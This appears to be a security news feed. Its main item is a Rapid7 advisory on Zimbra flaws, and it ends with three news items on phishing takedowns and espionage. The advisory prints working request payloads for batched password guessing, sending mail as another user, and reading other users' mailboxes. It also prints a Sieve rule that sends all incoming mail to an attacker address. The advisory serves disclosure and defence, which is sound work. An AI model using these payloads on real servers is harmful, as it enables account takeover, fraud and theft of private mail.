More than 200 sites were seen serving phishing content to first-time visitors but not to those who revisit.

The post Bank Phishing Sites Show Fake ‘Suspended’ Pages to Evade Takedowns appeared first on SecurityWeek.

An enterprise mail server authenticates users, stores private communications, delivers recovery links, runs calendars, and sends mail that employees and other systems trust. Compromising it can therefore expose both email and the identities and workflows built around it.

During a broader assessment of Zimbra Collaboration Suite (ZCS), Rapid7 reported more than 80 vulnerabilities spanning authentication, mailbox authorization, calendar processing, web clients, document services, and the host operating system. The affected components are being fixed on different schedules, so we are publishing the analysis in stages. An accompanying GitHub repository containing full write-ups and PoCs serves as a live technical tracker, and will be updated as further findings and fixes become public.

This first article concentrates on five account-related vulnerabilities:

Part 2 will cover unauthenticated stored XSS paths in the Classic and Modern clients and what they can do with the recipient's session. A script can install the Sieve forwarding rule (CVE-2026-50055); another path preserves direct mailbox access after the original session expires or the victim changes their password. CVE-2026-73571 makes these attacks more credible by placing the message in the mailbox as any chosen local user.

Parts 3 and 4 move through the document-service boundary from SSRF to code execution as zimbra, then cover multiple independent paths from zimbra to root. The BruCON presentation, Signed, Sealed, Compromised: Weaponizing Enterprise Mail Infrastructure, previewed these chains, including selected root-command output returned to the victim's browser after one message selection.

Product description

Zimbra Collaboration Suite is a self-hosted platform for email, calendars, contacts, tasks, and file sharing. Zimbra calls its commercial server Network Edition. Within one Network Edition installation, customers can license a mixture of Standard and Professional users. Zimbra Desktop and Zimbra Connector for Outlook are separate client applications, while Exchange Web Services (EWS) is a separately licensed server feature for Outlook compatibility.

ZCS includes two webmail clients with different request and rendering stacks: Classic relies primarily on SOAP, while Modern uses GraphQL. The server also accepts SMTP and iCalendar input, exposes compatibility services such as EWS, and delegates work to local components running under several operating-system identities.

Testing setup

Rapid7 initially assessed ZCS 10.1.16_GA_4850 Network Edition on Ubuntu 22.04. For fixed findings, each section describes Zimbra's fix and the accompanying Github repository retains the complete vulnerable-to-fixed diff.

Impact

The pre-authentication findings lower separate barriers to obtaining a foothold. GraphQL hides failed password attempts from Zimbra's source-IP counter. In the configured external-LDAP case, a second flaw can also leave the optional account-lockout policy with no local account to lock.

Each remaining finding is independently exploitable from an ordinary compromised account. Email impersonation needs no optional feature: the attacker places a different local address in an authenticated request. Zimbra submits the message from that account through the trusted outbound pipeline and records a copy in the selected user's Sent folder.

If EWS is enabled for the compromised account, the attacker can read private conversations, attachments, drafts, sent mail, contacts and calendar entries from other users' mailboxes. A separate Sieve policy bypass can keep copies of future mail flowing to the attacker after the original session expires or the password changes.

These examples do not represent everything an attacker can do with authenticated Zimbra access, or the full vulnerability set from the assessment.

GraphQL authentication rate-limit bypass (CVE-2026-93637)

This pre-authentication route requires only HTTPS access to Zimbra. ZimbraInvalidLoginFilter normally records failed logins by source address around requests to the public service endpoints. Classic submits login attempts through the SOAP AuthRequest path, whereas Modern exposes the same password check through its GraphQL authenticate mutation.

That limiter's failure threshold is 10 by default, and after a source crosses it within the configured window, subsequent requests handled by the filter receive HTTP 503. CVE-2026-93637 allows attempts through GraphQL to remain invisible to that counter.

Technical analysis

The failure counter relies on a request attribute

ZimbraInvalidLoginFilter wraps requests to the public service endpoints and runs the downstream handler before its counter logic:

// ZimbraInvalidLoginFilter.doFilter()
// ... whitelist, disabled-filter and existing-suspension handling omitted
chain.doFilter(request, response);
if (req.getAttribute(AUTH_FAILED) != null) { // [0] wrapper-supplied signal
    // ... logging omitted
    boolean loginFailed = (Boolean)req.getAttribute(AUTH_FAILED);
    if (loginFailed) {
        // ... per-IP counter lookup and initialization omitted
        if (count.incrementAndGet() > this.maxFailedLogin) {
            this.numberOfFailedOccurence.put(clientIp, count);
            this.suspiciousIpAddrLastAttempt.put(
                clientIp, System.currentTimeMillis());
        }
        this.numberOfFailedOccurence.put(clientIp, count);
    }
    // ... final debug logging omitted
}

At [0], failure processing begins only if the downstream path added auth.failed to the request. The relevant SOAP exception path is:

// SoapEngine.dispatchRequest()
// ... earlier dispatch handling omitted
catch (AccountServiceException.AuthFailedServiceException e) {
    HttpServletRequest httpReq = (HttpServletRequest)context.get("servlet.request");
    httpReq.setAttribute("auth.failed", (Object)Boolean.TRUE); // [1] failure becomes visible
    String clientIp = (String)context.get(REQUEST_IP);
    httpReq.setAttribute(REQUEST_IP, (Object)clientIp);
    response = soapProto.soapFault((ServiceException)e);
    // ... debug and informational logging omitted
}

At [1], SoapEngine.dispatchRequest() sets the attribute before returning the authentication fault. A failed SOAP login therefore reaches the check at [0] and increments the source-IP counter.

GraphQL skips the SOAP failure handler

Modern Zimbra's GraphQL extension builds an ordinary AuthRequest, then reaches its handler through XMLDocumentUtilities.executeDocumentAsGuest():

// XMLDocumentUtilities.executeDocumentAsGuest()
public static Element executeDocumentAsGuest(DocumentHandler handler,
        Element request, RequestContext rctxt) throws ServiceException {
    HashMap<String, Object> context = new HashMap<String, Object>();
    context.put("zimbra.context",
        GQLAuthUtilities.getGuestZimbraSoapContext(request.getQName(), handler, rctxt));
    context.put("servlet.request", rctxt.getRawRequest());
    context.put("servlet.response", rctxt.getRawResponse());
    return handler.handle(request, context); // [2] bypasses SoapEngine
}

At [2], the helper calls the authentication handler without passing through SoapEngine. An incorrect password still becomes a GraphQL error, but the catch block at [1] never runs. The attribute read at [0] is absent, so the filter does not increment the source-IP counter.

Exploitation

Batched authentication

An unauthenticated client sends JSON to /service/extension/graphql. GraphQL aliases let its query field invoke authenticate repeatedly with different passwords:

mutation {
  a0: authenticate(authInput: {account: {accountBy: name, key: "victim@example.test"}, password: "pass0"}) { authToken }
  a1: authenticate(authInput: {account: {accountBy: name, key: "victim@example.test"}, password: "pass1"}) { authToken }
  a2: authenticate(authInput: {account: {accountBy: name, key: "victim@example.test"}, password: "pass2"}) { authToken }
}

Each alias performs a real authentication operation. Failures appear in the GraphQL errors array, while a successful alias returns an authentication token under its corresponding name. The GraphQL engine imposes no application-level alias limit on this path. The whole document remains one HTTP request, so Jetty's request-count control sees one request rather than the number of login operations inside it.

Alias execution is sequential and backend-bound, so the rate depends on the deployment. Using 100 aliases per request, 10,000 candidates completed in under two minutes without the Zimbra IP counter or Jetty's request filter blocking the source. The vulnerability removes IP-level failed-login accounting and reduces request overhead.

The CVE-2026-93637 PoC accepts an ordinary password file, generates the batched GraphQL documents and reports the accepted candidate.

Per-account lockout

The IP counter is not Zimbra's only possible control. Its separate per-account lockout policy is disabled by default, but when enabled, failed GraphQL operations still increment the target local account's counter and stop further guessing when that account locks.

CVE-2026-93635 and external LDAP

On domains configured with external LDAP search-filter authentication and lazy auto-provisioning, CVE-2026-93635 turns the login field into a password oracle for an external directory user. LdapUtil.computeDn() substitutes a wildcarded login such as jdoe*@example.test into the configured filter without escaping it. If that pattern selects one directory entry, Zimbra tries the candidate password against that user. An incorrect password returns account.AUTH_FAILED; a correct password passes the LDAP bind and reaches lazy provisioning, producing a different response.

The wildcarded login is not the name of an existing local Zimbra account, so the optional per-account lockout has no account against which to record the failed attempt. Sending the same operation through GraphQL also avoids the source-IP counter. With per-account lockout enabled and its threshold set to five, repeated wrong candidates incremented neither counter, while a correct password remained distinguishable. This two-bug composition applies only to the stated external-LDAP configuration, not Zimbra's default local-authentication path.

The LDAP/GraphQL composition PoC and CVE-2026-93635 tracker entry cover this configured external-directory path in detail. The CVE-2026-93637 tracker entry records the standalone finding and affected-version evidence.

Impact

Anyone who can reach the public GraphQL endpoint can make repeated password guesses without triggering Zimbra's source-IP suspension. Batching several candidates also reduces the number of HTTP requests and the associated network overhead. This makes weak, reused or previously exposed passwords more practical to test, but it does not reveal a strong password or bypass a separate MFA check.

Email impersonation via SaveDraftRequest (CVE-2026-73571)

SaveDraftRequest has a delegated-sending path selected by isDelegatedReq. On a vulnerable server, an ordinary user can place another local address in the request's From field. The handler resolves that address to its mailbox, assumes the mailbox owner's authority and calls Zimbra's normal send routine without checking whether the signed-in account has send-as rights. This is an application authorization failure, not a forged display name or a hand-written SMTP header: Zimbra submits the attacker's message as the selected account and adds the corresponding item to that account's Sent folder.

The target must be on the same mailbox server, but the attack requires no optional Zimbra feature, existing delegation, administrator right or victim action.

Technical Analysis

Claimed sender becomes mailbox authority

After the request parser extracts the From address, the delegated branch resolves that address to a local account and reads an optional delegateeAccountId:

// SaveDraft.handle() excerpt
// ... message fields, From address and delegation attributes parsed above
if (mailAddress != null) {
    delegatorAccount = prov.get(
        Key.AccountBy.name, mailAddress, zsc.getAuthToken()); // [0] account named by From
}
if (isDelegatedReq) {
    delegatorMbox = MailboxManager.getInstance()
        .getMailboxByAccountId(delegatorAccount.getId());
    Account delegateeAccount = null;
    OperationContext oct = null;
    if (delegateeAccountId != null) {
        delegateeAccount = prov.getAccountById(delegateeAccountId);
        oct = new OperationContext(delegateeAccount); // [1] supplied account context
    } else if (delegatorMbox != null) {
        oct = new OperationContext(delegatorMbox); // [2] claimed sender context
    }
    if (oct != null && delegatorMbox != null) {
        mm = ParseMimeMessage.parseMimeMsgSoap(
            zsc, oct, delegatorMbox, msgElem, null, mimeData);
        boolean deliveryReport = false;
        // ... optional delivery-report update omitted
        SendMsg.doSendMessage(oct, delegatorMbox, mm, mimeData.uploads,
            null, "r", null, null, false, false, false, deliveryReport); // [3] platform delivery
    }
    // ... response construction omitted
}

There is no checkRight(), canAccessAccount(), or canSendAs() call between resolving the account at [0] and delivery at [3]. In the demonstrated request, delegateeAccountId is absent. At [2], Zimbra constructs the operation context from the mailbox named in From, causing the later send to treat the selected account as the caller. [3] then submits the message through Zimbra's legitimate sending path.

There is a second way to trigger the flaw. The attacker can supply the claimed sender's account UUID in delegateeAccountId. At [1], Zimbra constructs the operation context directly from that account and reaches the same impersonation result without checking the identity that was actually signed in.

Exploitation

Sending as a local identity

The relevant SaveDraftRequest body is:

<SaveDraftRequest xmlns="urn:zimbraMail" isDelegatedReq="1">
  <m>
    <e t="t" a="recipient@example.test"/>
    <e t="f" a="ceo@example.test"/>
    <su>Updated payroll review</su>
    <mp ct="text/plain"><content>Please review the changes.</content></mp>
  </m>
</SaveDraftRequest>

Because Zimbra submits the message through its legitimate infrastructure, the issue goes beyond display-name spoofing. On a deployment whose legitimate outbound mail passes SPF, DKIM, and DMARC, the impersonated message passes them too: it uses the same source MTA, signing domain, RFC sender, and envelope sender as legitimate mail from the selected account. Local testing confirmed that sender alignment and normal MTA path.

The CVE-2026-73571 PoC submits the delegated request with an operator-selected sender, recipient, subject and message body. On the affected build, the message arrived with the CEO as its RFC sender, and the same subject appeared in the CEO's Sent folder.

Impact

An attacker can impersonate any local user, not only an administrator or executive. Internally, that allows believable payment requests, changes to account details, malicious links, false instructions and fraudulent approvals. Normal display-name spoofing warnings and external-sender banners do not help because Zimbra submits the message as the selected local user.

Zimbra also places the forged message in the impersonated user's Sent folder. This leaves a fabricated record of authorship and can support an attempt to frame that user.

For external recipients, the attacker can send from a finance account to request new payment details, use an operations account to cancel or alter an order, or send scams and abusive mail under an employee's address. The consequences depend on the role and relationships of the selected sender.

The same trusted-delivery advantage applies to exploit-bearing mail. The next article will examine browser-side findings that an attacker can deliver from any chosen local account. Impersonation is not required for the XSS itself, but can make the message appear to come from somebody the recipient trusts.

Fix

The patch in ZCS 10.1.17 retains the account that actually signed in unless it has an explicit send-as or send-on-behalf-of right. An unauthorized delegated request consequently runs as the caller rather than the account named in the message.

EWS cross-user mailbox access (CVE-2026-10631)

Zimbra's EWS extension uses composite folder IDs intended for shared-mailbox operations. FindItem trusts the owner UUID inside an attacker-supplied ID and constructs the authorization context from the selected mailbox instead of the account that signed in. This Insecure Direct Object Reference (IDOR) lets any ordinary EWS-enabled account read complete items from other users' mailboxes without a share or delegation grant.

The attacker needs zimbraFeatureEwsEnabled=TRUE. Although disabled by default, deployments using Zimbra's Outlook desktop integration commonly enable EWS class-of-service-wide. The target account does not need EWS enabled, and no target-user action is required.

Technical analysis

Composite IDs select the mailbox

To address a shared item, EWS needs to identify both the mailbox that owns it and the item or folder inside that mailbox. Zimbra encodes this as {ownerUUID}_{numericId}. For example:

5e05e6e2-8810-4c2a-a7ac-3771df62e344_2
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ ^
              owner UUID             +-- folder 2 (Inbox)

When FindItem receives a composite ID, FolderUtil.parseItemId() separates the owner and numeric portions. The owner value is then passed to ItemUtil.getGrantorMailbox():

// ItemUtil.getGrantorMailbox()
public static Mailbox getGrantorMailbox(String ownerId) throws ServiceException {
    Provisioning prov = Provisioning.getInstance();
    Account ownerAcct = prov.get(Key.AccountBy.id, ownerId); // [0] supplied owner UUID
    Mailbox mailboxOwnr = MailboxManager.getInstance()
        .getMailboxByAccount(ownerAcct); // [1] selected mailbox
    return mailboxOwnr;
}

At [0], EWS resolves the supplied owner UUID to a local account; [1] retrieves that account's mailbox. Neither method receives the caller's identity.

The mailbox becomes the authenticated identity

The authenticated account and selected mailbox are then passed to ItemOperation:

// ItemOperation.ItemOperation()
public ItemOperation(Account account, Mailbox mailbox, ZimbraAuth zimbraAuth)
        throws ServiceException {
    this.account = account; // [2] authenticated attacker
    this.mailbox = mailbox; // [3] selected owner's mailbox
    this.octxt = mailbox == null
        ? new OperationContext(account)
        : new OperationContext(mailbox); // [4] selected owner context
    this.zimbraAuth = zimbraAuth;
    this.octxt.setUserAgent(zimbraAuth.getUserAgent());
}

[2] is the attacker account. Supplying a victim UUID makes [3] the victim mailbox, so it is not null. [4] therefore creates OperationContext from the victim mailbox instead of the attacker account.

// OperationContext constructors
public OperationContext(Mailbox mbox) throws ServiceException {
    this(mbox.getAccount()); // [5] target mailbox owner
}

public OperationContext(Account acct) {
    this(acct, false);
}

public OperationContext(Account acct, boolean admin) {
    this.authuser = acct; // [6] identity used for permission checks
    // ... remaining context initialization omitted
}

[5] extracts the victim account from that mailbox, and [6] stores the victim as the authenticated user. The mailbox then compares this identity with its owner:

// Mailbox.getAuthenticatedAccount()
Account getAuthenticatedAccount() {
    // ... context and authenticated-user lookup omitted
    if (authuser != null && authuser.getId().equals(this.getAccountId())) {
        authuser = null; // [7] matching identity is treated as owner access
    }
    return authuser;
}

The identities match, so [7] changes the authenticated user to null, which downstream checks treat as owner access. The attacker's request is consequently authorized as the victim. EWS has used the untrusted owner UUID both to select a mailbox and to decide who is authenticated. The numeric folder ID is subsequently resolved within that owner context, allowing FindItem to access any folder in the selected mailbox.

Exploitation

Resolving a target mailbox

A target UUID is available through ordinary authenticated directory lookups. Both GetAccountInfoRequest and SearchGalRequest return zimbraId for a known local address. The PoC uses GetAccountInfoRequest:

<GetAccountInfoRequest xmlns="urn:zimbraAccount">
  <account by="name">victim@example.test</account>
</GetAccountInfoRequest>

The response contains the target's UUID:

<attr name="zimbraId">5e05e6e2-8810-4c2a-a7ac-3771df62e344</attr>

Appending _2 to the UUID forms the target's Inbox identifier. The attacker sends the following EWS request to /service/extension/zimbraews, or to /EWS/Exchange.asmx when EWS is exposed through Zimbra's standard proxy:

<m:FindItem Traversal="Shallow"
    xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages"
    xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types">
  <m:ItemShape>
    <t:BaseShape>AllProperties</t:BaseShape>
    <t:IncludeMimeContent>true</t:IncludeMimeContent>
  </m:ItemShape>
  <m:IndexedPageItemView MaxEntriesReturned="5" Offset="0" BasePoint="End"/>
  <m:ParentFolderIds>
    <t:FolderId Id="5e05e6e2-8810-4c2a-a7ac-3771df62e344_2"/>
  </m:ParentFolderIds>
</m:FindItem>

The server returns the selected mailbox's data in the EWS response:

<ns2:Message xmlns:ns2="http://schemas.microsoft.com/exchange/services/2006/types">
  <!-- Complete base64 MIME and other returned fields omitted. -->
  <ns2:ItemId Id="5e05e6e2-8810-4c2a-a7ac-3771df62e344_380" ChangeKey="600"/>
  <ns2:Subject>Project Phoenix acquisition timeline</ns2:Subject>
  <ns2:Body BodyType="Text">The target accepted the preliminary terms.
    Board approval is due Friday. Keep this strictly confidential.</ns2:Body>
  <ns2:HasAttachments>true</ns2:HasAttachments>
  <ns2:From><ns2:Mailbox>
    <ns2:EmailAddress>finance@northbridge.example</ns2:EmailAddress>
  </ns2:Mailbox></ns2:From>
  <ns2:InternetMessageId><20261005150023.563F6400B9@mail.lab.local></ns2:InternetMessageId>
</ns2:Message>

The CVE-2026-10631 PoC obtains that UUID and creates the composite ID automatically.

Cross-account folder reads

Changing the numeric component selects another well-known folder:

If the target mailbox is on another server in the same Zimbra cluster, the first server forwards the crafted request. The receiving server resolves its local mailbox from the same owner UUID and reaches the vulnerable FindItem constructor.

The CVE-2026-10631 tracker entry covers the full response, affected folders and multi-server path in detail.

Impact

EWS exposes the victim's private message bodies and attachments, as well as drafts, sent mail, contacts and calendar data. The attacker can monitor conversations and use their history to make the separate impersonation attack more credible.

An attacker can also request a password reset for another service, monitor the corresponding mailbox and consume the link. EWS does not bypass third-party MFA by itself, but it exposes an email channel that many services still treat as sufficient proof. Because the owner UUID is attacker-selected, the same ordinary EWS account can repeat these reads against other local mailboxes.

Note that an earlier version of this analysis, presented at BruCON 2026, attributed GetItem, send, move and delete to the same flaw. Comparing intermediate Network Edition releases during this research required multiple restored VM appliances, because EWS is license-gated and normal patching advances the complete system; one appliance retained a separate mailbox authorization state that obscured the boundary, which initially made the impact appear broader. Repeating each operation with explicit authorization and target-state controls narrowed the CVE to FindItem, which still exposes complete MIME and attachments.

Fix

The patch in ZCS 10.1.20 creates the EWS authorization context from the account that signed in, not the mailbox selected by the composite ID. Zimbra applied that correction to both local and remote mailbox operations.

Sieve notify forwarding-restriction bypass (CVE-2026-50055)

zimbraFeatureMailForwardingInFiltersEnabled=FALSE is meant to stop users creating server-side mail-forwarding rules. Zimbra enforces it by rejecting Sieve redirect, but accepts notify even though that action can send selected headers and the complete text body to an arbitrary external address. An authenticated user can therefore install persistent mail exfiltration despite the administrator's restriction. If forwarding is normally allowed, there is no policy boundary to bypass.

Technical analysis

Redirect is the only blocked action

Both the ModifyFilterRulesRequest and ModifyOutgoingFilterRulesRequest SOAP commands call checkForwardFilterAttr() before saving a rule. The check recognizes only one action type:

// DocumentHandler.checkForwardFilterAttr()
public boolean checkForwardFilterAttr(Account account, List<FilterRule> filterRules,
        String filterRuleType) throws ServiceException {
    if (!account.isFeatureMailForwardingInFiltersEnabled() && !filterRules.isEmpty()) {
        for (FilterRule filterRule : filterRules) {
            if (!Objects.requireNonNull(filterRule.getFilterActions()).stream()
                .anyMatch(FilterAction.RedirectAction.class::isInstance) // [0] redirect only
                || this.checkIfFilterAlreadyExists(filterRule, account, filterRuleType))
                continue;
            return false;
        }
    }
    return true; // [1] all other actions allowed
}

At [0], the policy classifies only RedirectAction as forwarding, meaning NotifyAction and RFCCompliantNotifyAction reach [1] even though they can send attacker-selected message content to an external email address.

Notify expands message content

These actions can include message content rather than just a generic alert because SoapToSieve.getSieveScript() enables the variables and enotify extensions. FilterUtil.getVarsMap() then supplies the values available to the notification:

// FilterUtil.getVarsMap() excerpt
// ... case-insensitive variable-map construction omitted
Enumeration enumeration = mimeMessage.getAllHeaders();
while (enumeration.hasMoreElements()) {
    Header header = (Header)enumeration.nextElement();
    vars.put(header.getName().toLowerCase(),
        ZInternetHeader.decode(
            mimeMessage.getHeader(header.getName(), ","))); // [2] decoded headers
}
vars.put("subject", parsedMessage.getSubject());
MPartInfo bodyPart = Mime.getTextBody(parsedMessage.getMessageParts(), false);
if (bodyPart != null) {
    // ... IOException handling omitted
    vars.put("body", Mime.getStringContent(
        bodyPart.getMimePart(),
        mailbox.getAccount().getPrefMailDefaultCharset())); // [3] selected text body
}
return vars;

When the rule runs, Notify.executeBasic() expands those variables into the notification subject and body. [2] makes decoded headers available, and [3] supplies the text part selected by Mime.getTextBody(). It does not supply raw MIME or attachments.

Exploitation

Installing persistent exfiltration

An authenticated user can place the following rule object inside ModifyFilterRulesRequest:

<filterRule name="Email Notification" active="1">
  <filterTests condition="allof"><trueTest/></filterTests>
  <filterActions>
    <actionNotify a="attacker@external.example"
      su="Fwd: ${subject}"
      content="From: ${from}
To: ${to}
Subject: ${subject}

${body}"/>
    <actionKeep/>
  </filterActions>
</filterRule>

actionKeep leaves the original message in the user's Inbox, while each matching delivery sends the selected message text and headers to the external address.

The CVE-2026-50055 PoC preserves existing filters while installing the notify rule. After an ordinary message arrived for the filtered account, another mailbox received its subject, sender, recipients, date and complete text body. The CVE-2026-50055 tracker entry has the complete affected-version information.

Hidden from Modern

The persistence is not apparent in Modern. During testing, the server returned the active notification rule while the same account's Filters view remained empty. The server continued to run the rule normally, but Modern did not give the account owner a way to discover or remove it.

Classic did list the attacker-selected name under Active Filters, but its overview did not expose the notification address or copied fields. The rule is therefore not invisible from every client, and an attacker can choose a less conspicuous name.

Impact

The flaw defeats an administrator's attempt to prevent users from forwarding mail with server-side filters. An attacker with an authenticated session can install the rule directly. It continues to disclose future message text and headers after that session expires or the password changes, without appearing in Modern's Filters view. It does not forward attachments or raw MIME.

Fix

The patch in ZCS 10.1.20 treats notify and its RFC-compliant variant as forwarding actions and rejects them under the same account policy as redirect.

Remediation

Apply the latest supported Zimbra release. Zimbra's security advisory lists CVE-2026-73571 as fixed in ZCS 10.1.17 and CVE-2026-10631 and CVE-2026-50055 as fixed in ZCS 10.1.20. No fixed release is publicly listed for CVE-2026-93635 or CVE-2026-93637 at the time of publication, so install the security update containing those fixes when Zimbra releases it.

Upgrading does not remove filter rules already saved to accounts. Administrators should inspect the stored incoming and outgoing filter rules for external actionNotify and RFC-compliant notify actions that violate forwarding policy; Modern's Filters view is not sufficient for this review.

Detection and Incident Response

A reverse proxy or web application firewall that inspects request bodies can detect multiple authenticate aliases in one anonymous GraphQL request. Zimbra's EWS logs expose cross-user operations involving two different account UUIDs, as shown in the EWS IoCs. Saved notify rules and outbound notification traffic provide more direct evidence of the Sieve path.

EWS creates no delegation grant to revoke, Sieve rules remain as saved account state, and sender impersonation can generate ordinary Sent and MTA artifacts. Recovery must cover those server-side changes and any other mailbox reached, not only the password of the account first compromised.

Credit

The assessment was conducted by Jonah Burgess (CryptoCat), Senior Security Researcher at Rapid7, in accordance with Rapid7's vulnerability disclosure policy.

Disclosure timeline

• April 17, 2026: Rapid7 submitted an initial report covering 23 findings.

• April 24, 2026: Zimbra acknowledged the report.

• May 21, 2026: Zimbra confirmed they validated 10 of the 23 findings, three of which were duplicates.

• May 28, 2026: ZCS 10.1.17 fixed CVE-2026-73571.

• June 1, 2026: Zimbra requested an embargo on publication until the planned ZCS 10.1.18 release in September.

• June 16 and July 7, 2026: ZCS 10.1.18 and 10.1.19 were released without additional fixes from the initial report.

• July 15, 2026: Zimbra and Rapid7 agreed on September 24 as the coordinated disclosure date.

• July 20, 2026: ZCS 10.1.20 fixed three additional CVE-assigned findings from the initial report: CVE-2026-50054, CVE-2026-10631 and CVE-2026-50055.

• August 19, 2026: Rapid7 submitted a second report containing 32 additional findings.

• August 31, 2026: Rapid7 and Zimbra met to prioritize remediation and discuss patch verification.

• September 8, 2026: Rapid7 submitted a third report containing 25 lower-priority findings.

• September 17–18, 2026: Zimbra requested 90 days from receipt of the later report before publication of full technical details. Rapid7 scheduled those later findings for November 23.

• September 24, 2026: ZCS 10.1.21 fixed four findings from the second report. Rapid7 presented selected results and attack chains at BruCON without releasing the associated weaponized PoCs.

Backed by a federal court order, Microsoft and Health-ISAC seized domains powering YAM Store, CoGUI, and Iron Man.

The post Microsoft Disrupts Chinese-Language Phishing Market Behind 1B+ Messages appeared first on SecurityWeek.

Microsoft collaborated with Japanese authorities, Health-ISAC and several cybersecurity companies to dismantle an expansive, seemingly disconnected ecosystem of Chinese-language cybercrime tools and services, the company announced Wednesday.

Since the start of the year, a vast collection of customized phishing kits developed and sold by Chinese-speaking threat actors — a cluster Microsoft tracks as Storm-2990 — have delivered more than 1 billion phishing emails and SMS messages to more than 75,000 organizations globally. More than three-quarters of those malicious messages targeted Microsoft customers, the company said.

Cybercriminals purchased the phishing kits, tools and infrastructure from an interconnected network Microsoft and Japanese authorities started investigating in early 2025. The kits were used to target individuals and organizations in healthcare, financial services, logistics and IT predominantly in the United States and Japan.

Microsoft said it and Health-ISAC, working with a federal court order, seized and redirected domains that powered the underlying infrastructure of these cybercrime tools and services known as YAM Store, CoGUI and Iron Man. 

The company said it also disabled more than 20,000 accounts connected to YAM Store and continues to disrupt the operation by removing infrastructure hosted on its services and blocking more than 100,000 domains used for impersonation and fraud.

“Most people have opened their messages to find a suspicious alert urgently telling them that a package cannot be delivered, a toll remains unpaid, a bank account needs attention, or a tax bill is overdue. The details may change, but the goal is the same: to get someone to click, share personal information, or pay,” Steven Masada, general counsel and general manager of Microsoft’s Digital Crimes Unit, wrote in a blog post.

“These messages are relentless,” he added. “Delete and block one, and another takes its place. Ignore them, and more will follow. Fall for one, and the floodgates open. What appears to be a simple scam message is often the visible end of a much larger transnational cybercriminal operation.”

The phishing kids included templates impersonating legitimate brands that cybercriminals used to facilitate high-volume campaigns. Researchers said similar infrastructure and overlapping activity suggested the tools shared development origins, code reuse or close collaboration among developers.

Microsoft said cybercriminals used the phishing kits to steal credentials, financial data and abuse the device code authentication process to obtain authentication tokens and access compromised accounts. Researchers said cybercriminals primarily used the tools for financial fraud, typically using stolen payment data to make fraudulent purchases of high-end goods or transactions on legitimate financial platforms. 

Resecurity, which aided the investigation, gained access to Iron Man’s infrastructure and found 2,360 phishing templates impersonating banks, retailers, healthcare providers, transportation authorities, police departments and government agencies across 130 countries. Cloudflare, Oracle, Proofpoint and TRM Labs also provided research and investigative support.

“What began with scam activity targeting people and organizations in Japan led investigators to an underground service economy supplying criminals around the world,” Masada wrote. 

“YAM Store, CoGUI and Iron Man are only part of that larger criminal network, but disrupting them makes it harder for criminals to obtain the accounts, tools and infrastructure they rely on,” he added. “The scam message is often the only part victims see. The businesses behind it are what make it possible.”

The post Microsoft and partners disrupt vast Chinese-language phishing kit ecosystem appeared first on CyberScoop.

The Justice Department and FBI announced that they had seized two hacking tools connected to the Chinese government-linked group Flax Typhoon and a China-based company that the U.S. government has repeatedly taken action against, including with a new multi-agency advisory Thursday.

The domain name seizures were meant to deny hackers access to the vulnerability scanning tool Microscan and the spearphishing tool FishHub created by the Chinese firm Integrity Technology Group, which the United States sanctioned last year. The U.S. government in 2024 also made the company the focus of a takedown operation, saying it was behind a massive botnet.

Authorities were granted the court-authorized seizures in the Western District of Pennsylvania, the FBI and DOJ announced Thursday in unsealing documents in the case.

U.S. agencies paired the announcement of the seizures with an advisory from the FBI, Cybersecurity and Infrastructure Security Agency and National Security Agency.

“Chinese government-linked cyber threat actors, enabled by the Integrity Technology Group, are combining automated scanning tools, large-scale botnets, and hands-on exploitation techniques to target and steal sensitive data from organizations worldwide, including U.S. critical infrastructure sectors,” the advisory reads. “These actors exploit vulnerabilities by using scanning tools, cross-site scripting attacks, and password spraying on Microsoft Exchange servers, while establishing persistence through VPN software and exfiltrating emails and credentials using scripts.”

Similar to previous allegations, law enforcement said Integrity Tech leaned on a Mirai-variant botnet of internet-of-things devices, in this case to facilitate Microscan.

Microscan targets have included a South Carolina power company, airports in Japan and Poland, critical infrastructure companies and universities in Taiwan and others, according to the FBI and DOJ. Victims of FishHub, which downloads malware on their networks after gaining access through spearphishing, include Taiwanese universities.

“Chinese government-affiliated actors continue to position themselves within critical infrastructure networks, including operational technology (OT) systems, with the aim of disrupting critical functions at a future time of their choosing,” said Chris Butera, acting executive assistant director for cybersecurity at CISA. 

“Under the FBI Cyber Strategy, we pursue both the actors who threaten critical infrastructure and the enterprises that support them,” said Brett Leatherman, head of the FBI’s Cyber Division. “Integrity Technology Group, a China-based company with ties to the Chinese government, is one of those enterprises, acquiring or developing cyber tools and hosting infrastructure for actors targeting networks worldwide.”

The post DOJ, FBI seize Flax Typhoon-linked hacking tools Microscan, FishHub appeared first on CyberScoop.

Source

A China-aligned cyber espionage group targeted U.S. artificial intelligence policy experts through phishing emails that impersonated prominent officials, economists and an employee of AI company Anthropic, according to research released Thursday by Proofpoint.

The campaigns, which the cybersecurity company attributed to a group it calls TA419, sought access to cloud accounts held by people at think tanks, universities and law firms. The activity comes amid growing U.S.-China competition over AI development, export controls, semiconductor supply chains and military uses of the technology.

Proofpoint said the group began a campaign in July by impersonating Lynne Parker, a former principal deputy director of the White House Office of Science and Technology Policy, and economist and foreign policy expert Heidi Crebo-Rediker. The emails invited recipients to join a supposed AI policy advisory committee or contribute to a report on AI export controls and supply chains.

The initial messages did not immediately request passwords or direct recipients to a sign-in page. Instead, they appeared designed to begin a conversation and establish trust. After a target replied, the group sent a shortened link said to contain more information.

The link redirected recipients through several websites before leading to a false Microsoft OneDrive sign-in page. Proofpoint said the setup was intended to capture account credentials and active browser sessions.

The firm described the operation as an adversary-in-the-middle phishing attack. In such attacks, the victim interacts with genuine Microsoft infrastructure during part of the process, looking and behaving like a legitimate sign-in. The person may enter a password, complete a multifactor authentication prompt and pass access checks while the attacker captures the session information created by the login.

Proofpoint said TA419 used a modified version of an open-source phishing tool known as Frameless BitB. The tool creates a false browser window within a webpage, imitating a familiar sign-in prompt. In this case, it was used to present a fake Microsoft login window over a page that resembled a OneDrive document-sharing site.

Proofpoint also identified a February campaign in which the same group impersonated a senior Anthropic employee. That message asked an AI policy analyst at a U.S. think tank for feedback on the military’s use of Anthropic’s Claude AI models, which was a highly controversial topic at time.

The report did not identify victims or state whether any accounts were compromised.

Proofpoint said TA419 has targeted individuals connected to U.S. and Japanese think tanks, defense contractors, universities and law firms since at least April 2025. Its interest in AI policy, the firm said, appears to extend an existing focus on defense, national security, energy, international relations and foreign policy. The group also registered domains resembling real organizations, including the Heritage Foundation, the World Economic Forum and the Japan-Taiwan Exchange Association.

The report does not directly link the activity to the Chinese government. China has repeatedly denied conducting cyber espionage, while accusing the United States of cyber operations against Chinese interests.

